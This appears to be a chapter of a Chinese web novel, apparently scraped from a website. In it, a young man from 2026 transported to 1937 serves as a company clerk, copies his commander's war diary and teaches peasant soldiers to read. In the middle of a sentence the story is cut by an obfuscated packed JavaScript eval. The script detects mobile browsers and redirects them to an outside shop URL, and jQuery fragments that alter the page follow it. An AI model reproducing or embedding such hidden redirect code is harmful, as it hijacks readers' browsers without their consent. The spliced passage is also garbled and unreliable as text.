绕过封锁线的代价是三天三夜。


    三天时间里，他们在山脊线上移动，像一群沉默的幽灵。食物配给减半，水要严格控制，每天只有两次短暂的休息。沈擎苍带领着这支疲惫的小部队，在岛国军可能的搜索路径之间穿插，每一步都像在刀尖上跳舞。


    林晏的手腕上，那道沈擎苍划出的伤口已经结痂。他按照命令，每天用泥浆涂抹所有裸露的皮肤——脸、脖子、手。泥土混着汗水，干了之后在皮肤上形成一层粗糙的硬壳，痒得钻心，但他不敢抓。


    第三天傍晚，他们终于看到了目的地——山谷深处一个隐蔽的小村庄。村口有瞭望哨，飘扬着一面简陋的军旗。


    “到家了。”王石头小声说，语气里有种劫后余生的庆幸。


    但沈擎苍没有放松警惕。他举起望远镜，仔细看了很久，才下令：“发信号。”


    李铁柱从背包里掏出一面小镜子，对着夕阳的反光，按照某种节奏闪烁了几下。对面村口的瞭望哨也回以同样的信号。


    “安全。走。”


    队伍下山，走向村庄。林晏的脚已经麻木了，每一步都像踩在棉花上。草鞋彻底磨穿了，脚底直接接触地面，但他不敢停。


    村口的哨兵认识沈擎苍，敬礼后放行。但他们看林晏的目光都带着好奇——这个跟在连长身后、脸上涂满泥巴、走路姿势怪异的新面孔，是谁？


    “沈连长回来了！”有人朝村里喊。


    很快，一群人围了上来。有军人，也有村民。一个四十多岁、戴着眼镜的中年男人快步走来，他是这支留守部队的指导员，姓陈。


    “老沈！可算回来了！”陈指导员握住沈擎苍的手，“路上还顺利吗？”


    “遇到点麻烦，但过来了。”沈擎苍简单回答，然后转头，“这是林晏，路上收的学生，北平来的。识字，以后在连部当文书。”


    所有人的目光都集中到林晏身上。那些目光里有审视、有好奇，也有毫不掩饰的怀疑——林晏即使涂了泥，那种“不属于这里”的气息依然明显。


    “学生娃啊，”陈指导员上下打量着他，“欢迎欢迎。咱们这儿正缺识字的人。对了，你的介绍信呢？”


    林晏愣住了。介绍信？什么介绍信？


    沈擎苍平静地接话：“逃难路上丢了。被岛国军追，东西都扔了才跑出来。”


    “哦……”陈指导员点点头，但眼神里的怀疑没有完全消散，“那先安顿下来吧。李铁柱，带他去领补给，安排住处。”


    “是！”


    林晏被带走了。他能感觉到身后那些目光，像针一样扎在背上。


    李铁柱带他来到一处院落，这里似乎是连部的临时驻地。院子里有几间土房，其中一间门口挂着“文书室”的木牌——字是手写的，歪歪扭扭。


    “你先在这儿等着，”李铁柱说，“我去给你领东西。”


    林晏走进文书室。房间很小，只有一张破桌子，两把凳子，墙角堆着一摞纸张。桌上有个墨水瓶，插着两支毛笔，还有一盏油灯。


    这就是他未来要工作的地方。没有电脑，没有打印机，没有网络。只有最原始的纸笔。


    他在凳子上坐下，突然感到一阵眩晕。连续三天的强行军，加上营养不良，身体终于撑不住了。


    “林文书？”


    一个年轻的声音在门口响起。林晏抬起头，看见一个十七八岁的少年站在那里，穿着不合身的军装，脸上带着腼腆的笑。


    “我是连部的小通讯员，叫王小川。”少年走进来，递过来一个布包，“李班长让我给你的，军装和日用品。”


    林晏接过。布包里有：两套军装——比他现在穿的合身些，但依然是粗布；一双新草鞋；一条薄毯；一个铁皮水壶；还有一小块肥皂——真正的肥皂，虽然粗糙，但在这个年代是奢侈品。


    “还有这个，”王小川又递过来一个小本子和半截铅笔，“陈指导员说，让你先熟悉工作。这是最近要处理的文件清单。”


    本子很粗糙，纸张泛黄。林晏翻开，上面列着：


    一、整理上月伤亡名单（需誊抄三份）


    二、统计现有弹药数量（需分类记录）


    三、编写扫盲班教材（简单识字，五十字以内）


    四、协助登记新入伍战士信息


    五、……


    清单很长。林晏看着那些繁体字，突然感到恐慌——有些字他认识但不会写，有些字他连认都不认识。


    “那个……”他犹豫着问，“这些字，有范本吗？”


    王小川眨眨眼：“范本？就是这些字啊。”他指着清单，“林文书你不是识字吗？”


    “识是识，但有些字……写不太好。”林晏含糊地说。


    王小川笑了：“没事儿，多练练就好了。我先去忙了，有事叫我。”


    少年离开后，林晏坐在桌前，盯着那份清单。阳光从破窗照进来，灰尘在光柱里飞舞。他拿起笔，试着写第一个字——“整”。


    笔画写错了。顺序不对。


    他划掉重写。又错了。


    第三次，他写对了，但字歪歪扭扭，像小学生写的。


    林晏放下笔，双手捂住脸。在2026年，他是中文系毕业生，论文拿过奖，公众号文章阅读量过万。在这里，他连基本的文书工作都做不好。


    门外传来脚步声。林晏赶紧坐直，假装在研究清单。


    进来的是沈擎苍。他已经洗了脸，换了身相对干净的军装，但脸上的疲惫依然明显。


    “安顿好了？”他问。


    “嗯。”林晏点头。


    沈擎苍走过来，看了一眼桌上被划得乱七八糟的纸，又看了看林晏的手——那双手即使在泥污下，依然纤细白皙，握笔的姿势过于标准，与周围格格不入。


    “不会写繁体字？”沈擎苍直接问。


    林晏犹豫了一下，点头。


    沈擎苍没说什么，从桌上拿起另一张纸，用铅笔写下“整理”两个字。他的字不好看，但工整，有力，每一笔都像用刀刻出来的。


    “照着练。”他说，“每天练一百遍。三天内，必须会写所有常用字。”


    “三天？”林晏脱口而出。


    “我们没有更多时间。”沈擎苍看着他，“陈指导员已经怀疑你了。如果你连基本的文书工作都做不好，他就有理由要求审查你的身份。”


    林晏心里一沉。审查？那意味着什么？


    “我明白了。”他低声说。


    沈擎苍在桌边坐下，点起油灯——虽然天还没黑，但屋里光线不好。他从怀里掏出一个小本子，翻开。


    “这是我这些年的笔记，”他说，“有行军记录，有战斗总结，也有一些……杂记。字迹潦草，你帮我誊抄一份，要工整。”


    林晏接过本子。纸张已经泛黄，边缘磨损，上面的字确实潦草，有的地方还有血迹和泥渍。


    “这是……”


    “我的命。”沈擎苍简单地说，“如果哪天我死了，这些笔记要交上去。里面有些情报，有些经验，不能丢。”


    林晏捧着那本笔记，突然觉得它沉重无比。


    “连长，你不会……”


    “谁都会死。”沈擎苍打断他，“在这个战场上，活过今天就是赚了。”他站起来，“今晚开始抄。油灯可以多用一会儿，灯油我批给你。”


    他走到门口，又停下：“记住，林晏。在这里，你要证明自己的价值。不是用嘴说，是用手做。”


    门关上了。林晏坐在油灯旁，翻开那本笔记。


    第一页写着日期：民国二十二年，三月十五日。地点：古北口。


    “今日击毙岛国军三名。老张死了，胸口被刺刀捅穿。他说他老婆刚生了儿子，还没见过……”


    字迹潦草，有些字被水渍晕开——不知道是雨水还是泪水。


    林晏一页页翻下去。那些简短的记录，勾勒出一个普通人如何在战争中变成战士的过程。有恐惧，有愤怒，有麻木，也有偶尔一闪而过的温柔——比如记录某个村庄的老大娘给他们煮了红薯，比如写到一个战士在梦里叫娘的名字。


    翻到中间，林晏的手停住了。


    那一页写着：“民国二十五年，十二月，西安。见学生游行，喊‘停止内战，一致抗日’。其中有个少年，戴眼镜，很文弱，但喊得最大声。想起林晏。若他在，应也是这般。”


    林晏的手指颤抖起来。民国二十五年是1936年。那个时候，沈擎苍就注意到了学生运动中的“文弱少年”，并联想到了他——虽然他们那时还不认识。


    这是一种什么样的预感？或者说，是一种什么样的……


    他不敢想下去。


    继续翻。后面的记录更简短，更实用。地形图，敌军部署，战斗总结。但偶尔，还是会冒出一些个人化的记录：


    “今日缴获罐头，分给伤员。想起林晏说未来人人能吃饱，不知真假。”


    “教王石头识字，他学得慢，但有耐心。若林晏在，应教得更好。”


    “梦见北平的糖葫芦。醒来想起林晏说未来有更多好吃的，可惜吃不到了。”


    林晏合上笔记，闭上眼睛。油灯的光在眼皮上跳跃。


    这个男人，这个在战场上冷静杀敌的连长，在私下里，在这样一本隐秘的笔记里，记录着对一个来自未来的人的想象和期待。


    而他，林晏，此刻就坐在这里，手握这本笔记，却连最基本的文书工作都做不好。


    他必须做好。


    他重新铺开纸，拿起笔，开始抄写。第一个字，第二个字……他写得很慢，每一笔都用力，仿佛要把这些字刻进灵魂里。


    夜幕降临。油灯的光照亮桌前这一小片天地。院子里传来战士们的谈笑声，远处有狗吠。这是一个普通的夜晚，在一个战火中的村庄。


    但对林晏来说，这是一个开始——开始真正融入这个时代，开始承担起一份责任。


    第二天一早，林晏被敲门声惊醒。他趴在桌上睡着了，手里还握着笔。


    “林文书！林文书！”是王小川的声音，“陈指导员叫你！”


    林晏赶紧站起来，整理了一下衣服——那身新军装，虽然合身了些，但依然显得他过于“整洁”。他用昨晚剩下的水洗了把脸，又抹了点泥在脸上和手上，才走出门。


    陈指导员在连部办公室等他。办公室里还有沈擎苍和另外两个干部，他们正在看地图。


    “林文书来了。”陈指导员推了推眼镜，“今天有个任务交给你。”


    林晏站直：“请指示。”


    “村东头有二十几个新入伍的战士，大多是农民，不识字。”陈指导员说，“上级要求开展扫盲教育，每天教他们认五个字。你负责这个。”


    扫盲教育。这在2026年是不可想象的事情——全民义务教育普及几十年了，文盲已经是极少数。但在这里，在1937年的华夏农村，识字是奢侈品。


    “教材……”林晏犹豫着问。


    “自己编。”陈指导员说，“从最简单的开始。比如‘人’、‘口’、‘手’，还有‘岛国’、‘华夏’、‘抗战’这些。”


    沈擎苍抬头看了林晏一眼，没说话，但那眼神里有提醒：这是机会，也是考验。


    “我明白了。”林晏说，“什么时候开始？”


    “现在就去。他们在打谷场等着。”


    林晏离开办公室时，听见身后陈指导员的声音：“老沈，这人到底什么来路？我总觉得不对劲……”


    沈擎苍的回答很低，林晏没听清。


    打谷场上，二十几个年轻战士席地而坐。他们大多穿着自家带来的衣服，补丁摞补丁，脸上是庄稼人特有的黝黑和皱纹。看见林晏走过来，他们都好奇地盯着他——这个脸上涂着泥、但依然显得“不一样”的年轻先生。


    “同志们好，”林晏开口，声音有点干，“从今天开始，我教大家识字。”


    他从怀里掏出昨晚准备好的纸——上面是他连夜写的二十个简单字，每个字都反复练习过，虽然还是不好看，但至少工整。


    “今天我们先学五个字。”他把纸贴在墙上，“第一个字：‘人’。”


    他写下“人”字，然后解释：“这就是我们，人。一撇一捺，互相支撑。”


    战士们认真地看着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140720|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，有人用手指在膝盖上比划。


    “第二个字：‘民’。人民。我们是华夏人民。”


    一个年轻战士举手——他叫赵大牛，十九岁，刚入伍三天。


    “林先生，”他怯生生地问，“学了字，有什么用？”


    这个问题很直接，也很实际。在这些每天要为生存挣扎的战士看来，识字可能不如多打一颗子弹有用。


    林晏想了想，说：“学了字，就能看懂命令，不会走错路。学了字，就能给家里写信，告诉爹娘你还活着。学了字，就能看懂岛国军的布告，知道他们在打什么主意。”


    这个回答很实在。战士们点点头，开始认真学。


    教学比林晏想象中顺利。这些农民出身的战士，虽然没读过书，但很聪明，记忆力也好。一上午，他们学会了五个字，还能勉强写出来。


    中午休息时，赵大牛凑过来：“林先生，你真是北平来的大学生？”


    “嗯。”


    “大学生都像你这样……白吗？”赵大牛好奇地问，“我见过城里的先生，也没你这么白。”


    林晏心里一紧，脸上却保持平静：“我从小体弱，不怎么出门晒太阳。”


    “哦……”赵大牛似懂非懂，“那林先生，你能教我写我名字吗？我爹给我起的，但我不认识。”


    “你叫什么？”


    “赵大牛。赵钱孙李的赵，大小的大，牛羊的牛。”


    林晏在纸上写下“赵大牛”三个字。赵大牛盯着看，眼睛发亮。


    “这就是我的名字……”他喃喃自语，然后小心翼翼地问，“林先生，我能把这张纸留着吗？”


    “当然。”


    赵大牛像捧着宝贝一样，把那张纸折好，塞进怀里。


    下午，林晏继续教课。他渐渐掌握了节奏——教得慢一点，多重复，多用生活中的例子。战士们学得很认真，那种对知识的渴望，是2026年的学生难以想象的。


    傍晚下课时，一个战士突然站起来，大声说：“林先生，谢谢你！”


    其他人也跟着喊：“谢谢林先生！”


    林晏愣住了。在2026年，他兼职教过培训班，学生下课时都是匆匆收拾书包离开，从没人这样真诚地道谢。


    “不……不用谢。”他有些慌乱。


    回到文书室，林晏累得直接倒在床上。但他的心是满的。那种被需要的感觉，那种实实在在帮助了别人的感觉，是他在2026年从未体验过的。


    晚上，沈擎苍来了。他看起来也很疲惫，眼里布满血丝。


    “今天怎么样？”他问。


    “挺好的。”林晏坐起来，“战士们学得很认真。”


    沈擎苍点点头，在桌边坐下。他拿出一小包东西——是炒黄豆，用纸包着。


    “给你的。”他说，“陈指导员说你教得好，这是奖励。”


    林晏接过。炒黄豆在这个年代是很好的零食，有营养，耐储存。


    “陈指导员他……”


    “暂时稳住了。”沈擎苍说，“但他还在怀疑。你要继续证明自己。”


    “我会的。”


    沈擎苍沉默了一会儿，突然说：“今天下午，我去看了你上课。”


    林晏心里一跳。


    “你教得很好。”沈擎苍继续说，“不只是教字，还教道理。赵大牛回来跟所有人显摆他会写自己名字了，说这是林先生教的。”


    他的语气很平静，但林晏听出了一丝……欣慰？


    “我只是做了该做的。”林晏说。


    “该做的，但很多人做不到。”沈擎苍看着他，“你知道吗，在这些战士眼里，你这样的读书人，是另一个世界的人。他们敬你，但也怕你。你今天做的，拉近了距离。”


    他站起来，走到窗边。外面月色很好。


    “林晏，”沈擎苍背对着他，“你来自的那个未来，老师是什么样的？”


    林晏想了想：“有很多种。有的在明亮的教室里，用电子黑板；有的在网络上，隔着屏幕教成千上万的学生；有的在山区，条件艰苦，但依然坚持……”


    “他们都像你这样吗？认真，耐心，把每个学生当人看？”


    这个问题让林晏沉默了。他想起了自己大学时那些赶时间的教授，想起了培训机构里那些只关心通过率的老师，想起了网络上那些哗众取宠的“网红教师”。


    “不全是。”他最终诚实地说，“有些人很好，有些人……只是把教书当工作。”


    沈擎苍转过身，月光从窗外照进来，在他脸上投下柔和的轮廓。


    “那你要做个好的。”他说，“在这里，你不仅是教字，你是给他们打开一扇窗。一扇通往更大世界的窗。”


    林晏点点头。他明白了。


    沈擎苍离开后，林晏坐在油灯下，继续抄写那本笔记。今晚他抄到了1937年7月的部分：


    “七七事变，全面抗战开始。部队开拔前，给家里写了信。不知何时能收到回信，也不知何时能再回家。”


    字迹比之前更潦草，能看出写字时的手在抖。


    林晏停下笔，看向窗外。月光下的村庄很安静，偶尔有哨兵走过的身影。


    这个时代的人，在这样简陋的条件下，进行着一场关乎民族存亡的战争。而他能做的，就是教几个字，抄几份文件。


    这太微小了。微小得让他感到无力。


    但他想起沈擎苍的话——一扇窗。


    也许，他就是这样一扇窗。一扇让这些战士看到除了战争之外，还有知识、还有文明、还有未来的窗。


    哪怕这扇窗现在还很模糊，还很脆弱。


    但他必须守护它。


    因为有人相信，透过这扇窗看到的未来，值得他们现在的牺牲。


    而林晏，这个来自未来的、不合时宜的闯入者，正在学习如何成为这扇窗的守护者。


    夜还很长。油灯的火苗跳跃着，照亮纸上那些来自1937年的字迹，也照亮这个来自2026年的年轻人的脸。


    他正在被这个时代改变，也在用最微小的方式，改变着这个时代。


    这是一个开始。